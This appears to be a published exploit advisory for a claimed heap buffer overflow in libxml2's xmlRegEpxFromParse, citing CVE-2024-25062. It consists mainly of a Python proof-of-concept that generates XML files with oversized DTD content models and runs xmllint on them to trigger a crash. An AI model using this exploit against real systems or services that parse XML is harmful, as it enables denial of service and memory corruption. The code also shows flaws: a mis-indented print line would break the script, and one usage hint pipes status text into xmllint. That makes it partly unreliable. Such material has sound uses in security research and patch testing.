📄 libxml2 2.9.14 (2022) Heap Buffer Overflow

=============================================================================================================================================
    | # Title     : libxml2 2.9.14 (2022) heap buffer overflow                                                                                  |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://gitlab.gnome.org/GNOME/libxml2                                                                                      |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/207181/ &  CVE-2024-25062
    
    [+] Summary : 
                 
                 A heap buffer overflow vulnerability was identified in libxml2, specifically within the function xmlRegEpxFromParse in xmlregexp.c. 
    			 The flaw results from a 32‑bit integer overflow during index calculation in the regular‑expression compilation phase used for DTD validation. 
    			 This overflow causes out‑of‑bounds read and write operations on the transitions table, potentially leading to memory corruption or application crashes when processing specially crafted XML content models.
                 The issue is confirmed in libxml2 version 2.9.14 (2022) and remains present in the latest development version 
    			 (HEAD: 4d69f91b25bae1e276bb38a0d91a54bade9e5e72) prior to the security fix. The vulnerability affects all platforms where libxml2 is deployed, including Linux, macOS, Windows, BSD, and embedded systems.
    			 
    [+] POC :
    
    Python PoC for Generating Malicious XML :
    
    #!/usr/bin/env python3
    """
    CVE-2024-25062: libxml2 Heap Buffer Overflow PoC
    Integer overflow in xmlRegEpxFromParse function
    By indoushka
    """
    
    import sys
    import os
    import subprocess
    
    def generate_malicious_xml():
        """
        Generate XML file with specially crafted DTD to trigger the vulnerability
        """
        # Magic number to trigger integer overflow
        NUM_ELEMENTS = 46341
        
        print(f"[+] Generating malicious XML with {NUM_ELEMENTS} elements...")
        
        # Create element names
        element_names = [f"a{i}" for i in range(NUM_ELEMENTS)]
        
        # Content model - very long sequence
        content_model = ",".join(element_names)
        
        # Element declarations
        element_decls = "\n".join(f"    <!ELEMENT {name} EMPTY>" for name in element_names)
        
        # Complete XML content
        xml_content = f'''<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
        <!ELEMENT root ({content_model})>
    {element_decls}
    ]>
    <root>
    {' '.join(f'<{name}/>' for name in element_names[:100])}
    </root>
    '''
        
        return xml_content
    
    def generate_optimized_poc():
        """
        Optimized PoC version using fewer elements while maintaining the effect
        """
        # Try different sizes to find minimum required
        test_sizes = [46341, 40000, 32768, 30000]
        
        for size in test_sizes:
            print(f"[+] Testing with {size} elements...")
            
            element_names = [f"el{i}" for i in range(size)]
            content_model = ",".join(element_names)
            
            xml_content = f'''<?xml version="1.0"?>
    <!DOCTYPE doc [
        <!ELEMENT doc ({content_model})>
        {"".join(f'<!ELEMENT el{i} EMPTY>' for i in range(size))}
    ]>
    <doc/>
    '''
            
            filename = f"poc_{size}.xml"
            with open(filename, "w") as f:
                f.write(xml_content)
            print(f"[+] Created: {filename}")
    
    def create_simple_poc():
        """
        Create simplified PoC for quick testing
        """
        NUM_ELEMENTS = 46341
        
        element_names = [f"x{i}" for i in range(NUM_ELEMENTS)]
        content_model = ",".join(element_names[:NUM_ELEMENTS])
        
        xml_content = f'''<!DOCTYPE root [
    <!ELEMENT root ({content_model})>
    {"".join(f'<!ELEMENT x{i} EMPTY>' for i in range(NUM_ELEMENTS))}
    ]>
    <root/>
    '''
        
        with open("simple_poc.xml", "w") as f:
            f.write(xml_content)
        print("[+] Created: simple_poc.xml")
    
    def test_with_xmllint():
        """
        Automatically test the generated PoC with xmllint
        """
        print("[+] Testing with xmllint...")
        
        # Generate the malicious XML
        xml_content = generate_malicious_xml()
        with open("test_crash.xml", "w") as f:
            f.write(xml_content)
        
        # Try to find xmllint
        xmllint_paths = [
            "./libxml2/.libs/xmllint",
            "/usr/bin/xmllint",
            "xmllint"
        ]
        
        xmllint = None
        for path in xmllint_paths:
            if os.path.exists(path) or subprocess.run(["which", path.split('/')[-1]], capture_output=True).returncode == 0:
                xmllint = path
                break
        
        if not xmllint:
            print("[-] xmllint not found")
            return
        
        print(f"[+] Using xmllint at: {xmllint}")
        
        # Run the test
        try:
            result = subprocess.run(
                [xmllint, "--valid", "test_crash.xml"],
                capture_output=True,
                text=True,
                timeout=10
            )
            
            if result.returncode != 0:
                print("[+] SUCCESS: xmllint crashed or returned error (vulnerable)")
                print(f"    Return code: {result.returncode}")
                if result.stderr:
                    print(f"    Error: {result.stderr[:200]}...")
            else:
                print("[-] UNEXPECTED: xmllint processed file without crash")
                
        except subprocess.TimeoutExpired:
            print("[+] SUCCESS: xmllint timed out (possibly vulnerable)")
        except Exception as e:
            print(f"[+] Exception during testing: {e}")
    
    if __name__ == "__main__":
        print("=" * 60)
        print("libxml2 Heap Buffer Overflow PoC - CVE-2024-25062")
        print("Integer overflow in xmlRegEpxFromParse")
    	print("By indoushka")
        print("=" * 60)
        
        if len(sys.argv) > 1:
            if sys.argv[1] == "simple":
                create_simple_poc()
            elif sys.argv[1] == "optimized":
                generate_optimized_poc()
            elif sys.argv[1] == "test":
                test_with_xmllint()
            else:
                # Create single file
                xml_content = generate_malicious_xml()
                with open("malicious.xml", "w") as f:
                    f.write(xml_content)
                print("[+] Created: malicious.xml")
        else:
            # Default: create all test files
            generate_optimized_poc()
            
        print("\n[+] Usage instructions:")
        print("    python3 poc.py optimized    # Generate test files")
        print("    python3 poc.py test         # Auto-test with xmllint")
        print("    xmllint --valid poc_46341.xml")
        print("    OR")
        print("    python3 poc.py | xmllint --valid -")
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================